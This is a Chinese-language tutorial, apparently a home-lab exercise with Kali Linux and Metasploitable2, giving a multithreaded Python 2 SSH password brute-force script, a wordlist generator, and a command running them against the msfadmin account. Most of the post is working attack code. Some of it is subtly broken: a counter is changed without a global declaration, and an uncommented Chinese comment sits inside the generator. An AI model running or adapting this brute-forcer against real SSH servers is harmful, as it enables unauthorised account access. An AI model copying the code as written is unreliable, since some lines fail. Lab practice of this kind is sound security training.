利用python进行ssh密码验证

首先准备好环境

1、虚拟机kali Linux、metasploitable2-linux。

      pip install pexpect

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2、源码

#!/usr/bin/python
#coding: utf-8
from pexpect import pxssh
import optparse
import time
from threading import *

maxConnections=5
connection_lock = BoundedSemaphore(value=maxConnections) 
Found=False 
Fails=0     
def connect(host,user,password,release):
    global Found 
    global Found 

    try: 
        s=pxssh.pxssh() 
        s.login(host,user,password) 
        print'[+] Password Found:' + password 
        Found=True 
    except Exception, e: 
        if 'read_nonblocking' in str(e): 
            Fails+=1
            time.sleep(5)
            connect(host,user,password,False)
        elif 'synchronize with original prompt' in str(e): 
            time.sleep(1)
            connect(host,user,password,False)
    finally: 
        if release:
            connection_lock.release()
def main(): 
    parser=optparse.OptionParser()
    parser.add_option('-H',dest='host',type='string')
    parser.add_option('-u',dest='username',type='string')
    parser.add_option('-f',dest='file',type='string')
    (options,args)=parser.parse_args()

    if (options.host == None) | (options.username == None) | (options.file == None):
        print parser.usage
        exit(0)

    host = options.host
    username=options.username
    file=options.file
    fn = open(file,'r') 
    for line in fn.readlines(): 
        if Found: 
            print '[*] Exting: Passwrod Found'
            exit(0)

        if Fails > 5: 
            print '[!] Exiting: Too Many Socket Timeouts'
            exit(0)

        connection_lock.acquire() 
        password=line.strip('\r').strip('\n') 
        print '[-] Testing:' + str(password) 
        t = Thread(target=connect,args=(host,username,password,True)) 
        child=t.start() 
if __name__=='__main__': 
    main()

字典生成器：

import itertools as its
from threading import Thread
def main():
    words = "ms.f1admin"
    r = its.product(words,repeat=8) 
    dic = open("pass.txt","a") 写入pass.txt文件
    for i in r:
        dic.write("".join(i))
        dic.write("".join("\n"))
    dic.close()

main()

3、实际效果：

终端执行如下命令:

# python ssh.py -H 192.168.5.3 -u msfadmin -f pass.txt